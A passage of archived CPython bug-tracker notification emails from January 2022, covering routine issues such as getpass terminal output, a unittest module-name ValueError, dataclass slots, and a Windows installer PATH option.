destructed. Python takes no such precautions, and programmers should be warned accordingly. (I think the solution is to be very careful of calling any other method from __init__.) ---------- assignee: docs at python components: Documentation messages: 410823 nosy: docs at python, jharmse priority: normal severity: normal status: open title: Incomplete Comparison to C++ Methods type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:12:08 2022 From: report at bugs.python.org (David Lord) Date: Mon, 17 Jan 2022 21:12:08 +0000 Subject: [issue24711] Document getpass.getpass behavior on ^C In-Reply-To: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za> Message-ID: <1642453928.92.0.330974854441.issue24711@roundup.psfhosted.org> David Lord added the comment: I can reproduce this on Python 3.10. Actually, `input` and `getpass` both seem to have this behavior now. Please reopen it. ```python import getpass try: getpass.getpass("in: ") except: pass print("done") ``` ``` $ python example.py getpass: ^D done $ ``` Run this and press `Ctrl+D` or `Ctrl+C`. The shell prompt appears on the same line rather than the next line. ---------- nosy: +davidism _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:13:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 21:13:14 +0000 Subject: [issue24711] Document getpass.getpass behavior on ^C In-Reply-To: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za> Message-ID: <1642453994.46.0.932307430599.issue24711@roundup.psfhosted.org> Change by Irit Katriel : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:13:24 2022 From: report at bugs.python.org (David Lord) Date: Mon, 17 Jan 2022 21:13:24 +0000 Subject: [issue24711] Document getpass.getpass behavior on ^C In-Reply-To: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za> Message-ID: <1642454004.18.0.802491847632.issue24711@roundup.psfhosted.org> David Lord added the comment: Meant to say that "done" shows up on the same line, not the shell prompt. An earlier version of my example was in the REPL, where its prompt *does* show up on the same line. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:15:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 21:15:13 +0000 Subject: [issue24711] Document getpass.getpass behavior on ^C In-Reply-To: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za> Message-ID: <1642454113.82.0.389823418952.issue24711@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: works for me -> versions: +Python 3.10, Python 3.9 -Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:19:10 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 21:19:10 +0000 Subject: [issue46418] Simplify `MODULE` variable in `test_enum.py` In-Reply-To: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org> Message-ID: <1642454350.07.0.885687955113.issue46418@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:40:54 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 Jan 2022 21:40:54 +0000 Subject: [issue46420] Use NOTRACE_DISPATCH in specialized opcodes Message-ID: <1642455654.84.0.588596732899.issue46420@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- components: Interpreter Core nosy: Dennis Sweeney priority: normal severity: normal status: open title: Use NOTRACE_DISPATCH in specialized opcodes type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:41:23 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 17 Jan 2022 21:41:23 +0000 Subject: [issue46420] Use NOTRACE_DISPATCH in specialized opcodes Message-ID: <1642455683.41.0.895177337894.issue46420@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- keywords: +patch pull_requests: +28853 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30652 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:04:25 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 17 Jan 2022 22:04:25 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642457065.2.0.387694929998.issue46382@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +hynek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:31:21 2022 From: report at bugs.python.org (R. David Murray) Date: Mon, 17 Jan 2022 22:31:21 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642458681.37.0.618891956728.issue46392@roundup.psfhosted.org> R. David Murray added the comment: Note that the parser does attempt to accept obsolete syntax (registering defects for it), so if there is a bug in the implementation of the obsolete syntax handling it should be fixed. And yes, there have been other bugs with whitespace handling in the parser, unfortunately. Examples would be most helpful, even if you don't write unit tests. Most of the tests, by the way, are in test__header_value_parser (search for message_id). There aren't very many, so more would be good. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:34:29 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:34:29 +0000 Subject: [issue46115] Interrupting subprocess.popen in recursive calls by KeyboardInterrupt causes Fatal Python error. In-Reply-To: <1639739670.52.0.854058490899.issue46115@roundup.psfhosted.org> Message-ID: <1642458869.75.0.745394687439.issue46115@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:39:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:39:21 +0000 Subject: [issue45913] readline + GTK + Pytest Seg Fault with Python 3.7 and 3.10 on CI In-Reply-To: <1638071621.44.0.368027831233.issue45913@roundup.psfhosted.org> Message-ID: <1642459161.93.0.928134376412.issue45913@roundup.psfhosted.org> Irit Katriel added the comment: There are a number of third party components involved in your bug. If you can't narrow it down to something that plausibly looks like a cpython bug, it's unlikely that a core dev will investigate it. ---------- nosy: +iritkatriel resolution: -> third party status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:39:32 2022 From: report at bugs.python.org (Brett Cannon) Date: Mon, 17 Jan 2022 22:39:32 +0000 Subject: [issue39602] importlib: lazy loading can result in reimporting a submodule In-Reply-To: <1581358790.35.0.810808142023.issue39602@roundup.psfhosted.org> Message-ID: <1642459172.84.0.804450501901.issue39602@roundup.psfhosted.org> Change by Brett Cannon : ---------- priority: normal -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:43:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:43:22 +0000 Subject: [issue42712] Segmentation fault in running ast.literal_eval() with large expression size. In-Reply-To: <1608632245.06.0.0184110305677.issue42712@roundup.psfhosted.org> Message-ID: <1642459402.96.0.105113509189.issue42712@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Eval with too high string multiplication crashes newer Python versions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:49:05 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:49:05 +0000 Subject: [issue42763] Exposing a race in the "_warnings" resulting Python parser crash In-Reply-To: <1609130399.05.0.938510382701.issue42763@roundup.psfhosted.org> Message-ID: <1642459745.96.0.327969405897.issue42763@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:53:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:53:15 +0000 Subject: [issue43430] Exception raised when attempting to create Enum via functional API In-Reply-To: <1615165107.75.0.80264384575.issue43430@roundup.psfhosted.org> Message-ID: <1642459995.52.0.733632784706.issue43430@roundup.psfhosted.org> Irit Katriel added the comment: Is there a bug/documentation change to make here or can this be closed? ---------- nosy: +iritkatriel status: open -> pending type: crash -> behavior versions: +Python 3.10 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 17:57:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 22:57:04 +0000 Subject: [issue34027] openpty/forkpty build failure using nix package manager macOS environment In-Reply-To: <1530567068.14.0.56676864532.issue34027@psf.upfronthosting.co.za> Message-ID: <1642460224.29.0.368857868363.issue34027@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: python 3.7 openpty/forkpty build failure using nix package manager macOS environment -> openpty/forkpty build failure using nix package manager macOS environment versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:00:06 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 23:00:06 +0000 Subject: [issue30819] Linking with 'ld -b' fails with 64-bit using Itanium HP compiler In-Reply-To: <1498842690.63.0.786379991477.issue30819@psf.upfronthosting.co.za> Message-ID: <1642460406.61.0.204312303745.issue30819@roundup.psfhosted.org> Irit Katriel added the comment: Robert's PR was merged so I'm assuming this is fixed. Reopen or create a new issue if not. ---------- nosy: +iritkatriel resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:03:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 23:03:31 +0000 Subject: [issue30492] 'make clinic' does not work for out of tree builds / clinic.py is not in the devguide In-Reply-To: <1495909690.05.0.0866994683674.issue30492@psf.upfronthosting.co.za> Message-ID: <1642460611.99.0.236741154391.issue30492@roundup.psfhosted.org> Irit Katriel added the comment: I'm closing because the original issue was fixed and testing out of tree build issue is the subject of Issue45695. ---------- nosy: +iritkatriel resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:07:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 23:07:36 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1642460856.73.0.799694891795.issue38472@roundup.psfhosted.org> Irit Katriel added the comment: Alex, is this still an issue with current python versions (>= 3.9)? And can you followup on Victor's questions? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:09:41 2022 From: report at bugs.python.org (theeshallnotknowethme) Date: Mon, 17 Jan 2022 23:09:41 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1642460981.94.0.422799213683.issue46407@roundup.psfhosted.org> Change by theeshallnotknowethme : ---------- pull_requests: +28854 pull_request: https://github.com/python/cpython/pull/30653 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:14:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 23:14:46 +0000 Subject: [issue28384] [doc] hmac cannot be used with shake algorithms In-Reply-To: <1475841044.31.0.0614510494585.issue28384@psf.upfronthosting.co.za> Message-ID: <1642461286.28.0.211691437525.issue28384@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python title: hmac cannot be used with shake algorithms -> [doc] hmac cannot be used with shake algorithms versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:19:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 23:19:54 +0000 Subject: [issue43196] logging.config.dictConfig shuts down socket for existing SysLogHandlers In-Reply-To: <1612989936.74.0.764522656943.issue43196@roundup.psfhosted.org> Message-ID: <1642461594.62.0.395010888785.issue43196@roundup.psfhosted.org> Irit Katriel added the comment: I'm not getting this error on 3.11 on a Mac. Can you check on versions <= 3.9? Earlier versions are no longer getting bugfixes. ---------- nosy: +iritkatriel status: open -> pending type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:35:02 2022 From: report at bugs.python.org (Bader Zaidan) Date: Mon, 17 Jan 2022 23:35:02 +0000 Subject: [issue46421] unittest ValueError when invoking as module Message-ID: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> New submission from Bader Zaidan : When running a local unittest as a module (for example, `python -m unittest ./tests/*.py`), the command fails with a ValueError. However, if we remove the local directory definition, and call it as `python -m unittest tests/*.py`, it runs without issue. A GitHub pull request with a pull request will be sent promptly. ---------- components: Library (Lib) messages: 410833 nosy: BaderSZ priority: normal severity: normal status: open title: unittest ValueError when invoking as module versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 18:45:52 2022 From: report at bugs.python.org (Bader Zaidan) Date: Mon, 17 Jan 2022 23:45:52 +0000 Subject: [issue46421] unittest ValueError when invoking as module In-Reply-To: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> Message-ID: <1642463152.19.0.784440142036.issue46421@roundup.psfhosted.org> Bader Zaidan added the comment: For reference, this is the error request: ``` python3 -m unittest ./tests/*.py Traceback (most recent call last): File "/usr/lib64/python3.10/runpy.py", line 196, in _run_module_as_main return _run_code(code, main_globals, None, File "/usr/lib64/python3.10/runpy.py", line 86, in _run_code exec(code, run_globals) File "/usr/lib64/python3.10/unittest/__main__.py", line 18, in main(module=None) File "/usr/lib64/python3.10/unittest/main.py", line 100, in __init__ self.parseArgs(argv) File "/usr/lib64/python3.10/unittest/main.py", line 147, in parseArgs self.createTests() File "/usr/lib64/python3.10/unittest/main.py", line 158, in createTests self.test = self.testLoader.loadTestsFromNames(self.testNames, File "/usr/lib64/python3.10/unittest/loader.py", line 220, in loadTestsFromNames suites = [self.loadTestsFromName(name, module) for name in names] File "/usr/lib64/python3.10/unittest/loader.py", line 220, in suites = [self.loadTestsFromName(name, module) for name in names] File "/usr/lib64/python3.10/unittest/loader.py", line 154, in loadTestsFromName module = __import__(module_name) ValueError: Empty module name ``` The issue stems with having "." as its own value in the parts list of `unittest/loader.py`. https://github.com/python/cpython/blob/main/Lib/unittest/loader.py#L125 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 19:13:43 2022 From: report at bugs.python.org (Ethan Furman) Date: Tue, 18 Jan 2022 00:13:43 +0000 Subject: [issue43430] Exception raised when attempting to create Enum via functional API In-Reply-To: <1615165107.75.0.80264384575.issue43430@roundup.psfhosted.org> Message-ID: <1642464823.61.0.857368423552.issue43430@roundup.psfhosted.org> Ethan Furman added the comment: Thanks for the reminder. ---------- resolution: -> not a bug stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 19:19:05 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 18 Jan 2022 00:19:05 +0000 Subject: [issue44934] Windows installer: Append Python to PATH instead of prepending it In-Reply-To: <1629196552.09.0.837835076265.issue44934@roundup.psfhosted.org> Message-ID: <1642465145.55.0.76775663729.issue44934@roundup.psfhosted.org> Steve Dower added the comment: New changeset c47c9e6589eb7a272cfe4d352eb87389eb20ec2f by bneuburg in branch 'main': bpo-44934: Add optional feature AppendPath to Windows MSI installer (GH-27889) https://github.com/python/cpython/commit/c47c9e6589eb7a272cfe4d352eb87389eb20ec2f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 19:21:05 2022 From: report at bugs.python.org (Steve Dower) Date: Tue, 18 Jan 2022 00:21:05 +0000 Subject: [issue44934] Windows installer: Append Python to PATH instead of prepending it In-Reply-To: <1629196552.09.0.837835076265.issue44934@roundup.psfhosted.org> Message-ID: <1642465265.15.0.266509230186.issue44934@roundup.psfhosted.org> Steve Dower added the comment: Thanks for the PR! This is a good contribution, that wasn't trivial to do. It should be in Python 3.11 alpha 5, so please test it out and make sure it's behaving as you expect. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 19:38:22 2022 From: report at bugs.python.org (Bader Zaidan) Date: Tue, 18 Jan 2022 00:38:22 +0000 Subject: [issue46421] unittest ValueError when invoking as module In-Reply-To: <1642462502.0.0.0134332485819.issue46421@roundup.psfhosted.org> Message-ID: <1642466302.41.0.814587937481.issue46421@roundup.psfhosted.org> Change by Bader Zaidan : ---------- keywords: +patch pull_requests: +28855 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30654 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 19:45:26 2022 From: report at bugs.python.org (John Belmonte) Date: Tue, 18 Jan 2022 00:45:26 +0000 Subject: [issue45995] string formatting: normalize negative zero In-Reply-To: <1638792226.95.0.292604366656.issue45995@roundup.psfhosted.org> Message-ID: <1642466726.94.0.0402520804084.issue45995@roundup.psfhosted.org> John Belmonte added the comment: Mark, would you give it a review this month? (PR has been marked stale.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 20:57:55 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Tue, 18 Jan 2022 01:57:55 +0000 Subject: [issue45959] Teach pprint about dict views In-Reply-To: <1638428816.23.0.206050902249.issue45959@roundup.psfhosted.org> Message-ID: <1642471075.62.0.521991921485.issue45959@roundup.psfhosted.org> ?ric Araujo added the comment: The PR looks good! When the last comments are resolved, unless there is activity from other core devs, I will merge it. ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 21:56:24 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 18 Jan 2022 02:56:24 +0000 Subject: [issue45452] Support crash tolerance feature for gdbm module In-Reply-To: <1634089522.9.0.931859161119.issue45452@roundup.psfhosted.org> Message-ID: <1642474584.76.0.623209008989.issue45452@roundup.psfhosted.org> Gregory P. Smith added the comment: The gdbm module's purpose is effectively one of just exposing the underlying C library APIs to Python as you said. Consider this a +1 in favor of exposing the new APIs in the Python gdbm module. I'm not concerned about anyone wanting these in older Python versions. It really requires a combination of modern software in order to use. Running on a recent kernel version, using a non-default fancy filesystem, and linking against a recent gdbm library. So being a new feature in 3.11 makes sense. Anyone satisfying all of the above is highly likely to already also use a recent CPython. If anyone _really_ wants it for older things, they can maintain backport on PyPI. ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 01:11:28 2022 From: report at bugs.python.org (Hynek Schlawack) Date: Tue, 18 Jan 2022 06:11:28 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642486288.83.0.803009666339.issue46382@roundup.psfhosted.org> Hynek Schlawack added the comment: >>> @attrs.define ... class C(Base): ... a: int ... b: int ... >>> C.__slots__ ('b', '__weakref__') We've got a test specifically for this use case: https://github.com/python-attrs/attrs/blob/5f36ba9b89d4d196f80147d4f2961fb2f97ae2e5/tests/test_slots.py#L309-L334 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 01:42:14 2022 From: report at bugs.python.org (Quentin Pradet) Date: Tue, 18 Jan 2022 06:42:14 +0000 Subject: [issue46159] Segfault when using trace functions in 3.11a3 In-Reply-To: <1640228846.77.0.888301890747.issue46159@roundup.psfhosted.org> Message-ID: <1642488134.54.0.628411058892.issue46159@roundup.psfhosted.org> Quentin Pradet added the comment: Thanks, you're right, I ran `git bisect` on Linux and the commit that causes the issue is https://github.com/python/cpython/commit/135cabd328504e1648d17242b42b675cdbd0193b ("Copy free variables in bytecode to allow calls to inner functions to be specialized") from https://bugs.python.org/issue44525 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:03:34 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 18 Jan 2022 07:03:34 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1642489414.9.0.972214927884.issue42161@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- pull_requests: +28857 pull_request: https://github.com/python/cpython/pull/30656 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:05:39 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 07:05:39 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642489539.42.0.43331648401.issue46411@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +28858 pull_request: https://github.com/python/cpython/pull/30657 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:05:43 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 07:05:43 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642489543.42.0.891532511002.issue46411@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28859 pull_request: https://github.com/python/cpython/pull/30658 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:05:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 07:05:21 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642489521.17.0.679453828082.issue46411@roundup.psfhosted.org> Irit Katriel added the comment: New changeset a287b31bcb065e4122400cb59167340d25480e6d by Irit Katriel in branch 'main': bpo-46411: Remove unnecessary calls to sys.exc_info() in tests (GH-30638) https://github.com/python/cpython/commit/a287b31bcb065e4122400cb59167340d25480e6d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:14:32 2022 From: report at bugs.python.org (Tal Einat) Date: Tue, 18 Jan 2022 07:14:32 +0000 Subject: [issue46005] [doc] replace 'distutils' examples with 'setuptools' In-Reply-To: <1638864537.57.0.967787312853.issue46005@roundup.psfhosted.org> Message-ID: <1642490072.76.0.620045385936.issue46005@roundup.psfhosted.org> Tal Einat added the comment: First, I think that it's good and useful to have full, well-maintained examples of how to build extension modules in the docs. Second, until distutils is removed, I think we should keep the documentation for how to use it. Due to this, I don't think adding the "setuptools disclaimer" would be appropriate, since we shouldn't remove the section once the setuptools docs are updated. It seems to me that we should: 1. Add a prominent note about distutils being deprecated and what that means: can one still use it, should one still use it, when is it planned to be removed, etc. 2. Add mention that 3rd-party tools are now the recommended way to build extensions. Include links to the sections in these libraries' docs explaining how to build extensions. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:29:11 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 07:29:11 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642490950.99.0.682099485592.issue46411@roundup.psfhosted.org> miss-islington added the comment: New changeset 1d6530dd0564a6bb75989b9fca25a649b5ddc1b0 by Miss Islington (bot) in branch '3.9': [3.9] bpo-46411: Remove unnecessary calls to sys.exc_info() in tests (GH-30638) (GH-30658) https://github.com/python/cpython/commit/1d6530dd0564a6bb75989b9fca25a649b5ddc1b0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 02:33:08 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 18 Jan 2022 07:33:08 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642491188.85.0.62185866982.issue46411@roundup.psfhosted.org> miss-islington added the comment: New changeset 42038d00ea7b0b5455e371285102d85006fbf687 by Miss Islington (bot) in branch '3.10': bpo-46411: Remove unnecessary calls to sys.exc_info() in tests (GH-30638) https://github.com/python/cpython/commit/42038d00ea7b0b5455e371285102d85006fbf687 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 03:02:43 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 18 Jan 2022 08:02:43 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1642492963.13.0.658829297865.issue42161@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 243c31667cc15a9a338330ad9b2a29b1cd1c76ec by Raymond Hettinger in branch 'main': bpo-42161: Hoist the _PyLong_GetOne() call out of the inner loop. (GH-30656) https://github.com/python/cpython/commit/243c31667cc15a9a338330ad9b2a29b1cd1c76ec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 03:39:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 08:39:45 +0000 Subject: [issue46411] modernize exception handling in tests In-Reply-To: <1642430458.91.0.635500349757.issue46411@roundup.psfhosted.org> Message-ID: <1642495185.17.0.624769098305.issue46411@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 03:44:14 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 18 Jan 2022 08:44:14 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642495454.15.0.724150282671.issue46390@roundup.psfhosted.org> Kumar Aditya added the comment: These tests seems to be expected to fail on alpine. See https://github.com/alpinelinux/aports/blob/b36ed9bba2fdbf49a98dfdc3377c29271525082f/main/python3/APKBUILD#L123 ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 03:48:33 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 18 Jan 2022 08:48:33 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642495713.11.0.985113976827.issue46417@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 03:49:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 18 Jan 2022 08:49:10 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642495750.13.0.0360996324773.issue46390@roundup.psfhosted.org> Christian Heimes added the comment: I would put it differently: The package maintainer of Python on Alpine decided to ignore all test failures in these test modules. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 04:28:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 09:28:49 +0000 Subject: [issue30268] Make mimetypes.guess_type accept path-like objects In-Reply-To: <1493914086.8.0.9964529869.issue30268@psf.upfronthosting.co.za> Message-ID: <1642498129.12.0.587222205167.issue30268@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Allow querying a Path's mime-type _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 04:34:46 2022 From: report at bugs.python.org (Inada Naoki) Date: Tue, 18 Jan 2022 09:34:46 +0000 Subject: [issue45644] Make json.tool soak up input before opening output for writing In-Reply-To: <1635425947.02.0.769956758277.issue45644@roundup.psfhosted.org> Message-ID: <1642498486.0.0.587979113626.issue45644@roundup.psfhosted.org> Change by Inada Naoki : ---------- nosy: +methane nosy_count: 4.0 -> 5.0 pull_requests: +28860 pull_request: https://github.com/python/cpython/pull/30659 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 04:38:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 09:38:25 +0000 Subject: [issue7238] frame.f_lineno doesn't get updated after local trace function assigned to it In-Reply-To: <1256836618.71.0.0275056583438.issue7238@psf.upfronthosting.co.za> Message-ID: <1642498705.06.0.934942968248.issue7238@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: needs patch -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 04:39:06 2022 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 Jan 2022 09:39:06 +0000 Subject: [issue16482] pdb.set_trace() clobbering traceback on error In-Reply-To: <1353002125.56.0.265106335805.issue16482@psf.upfronthosting.co.za> Message-ID: <1642498746.89.0.620420465823.issue16482@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 18 05:13:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 18 Jan 2022 10:13:33 +0000 Subject: [issue46028] 3.11.0a3: under tox, sys._base_executable is wrong In-Reply-To: <1639095861.79.0.661493259569.issue46028@roundup.psfhosted.org> Message-ID: 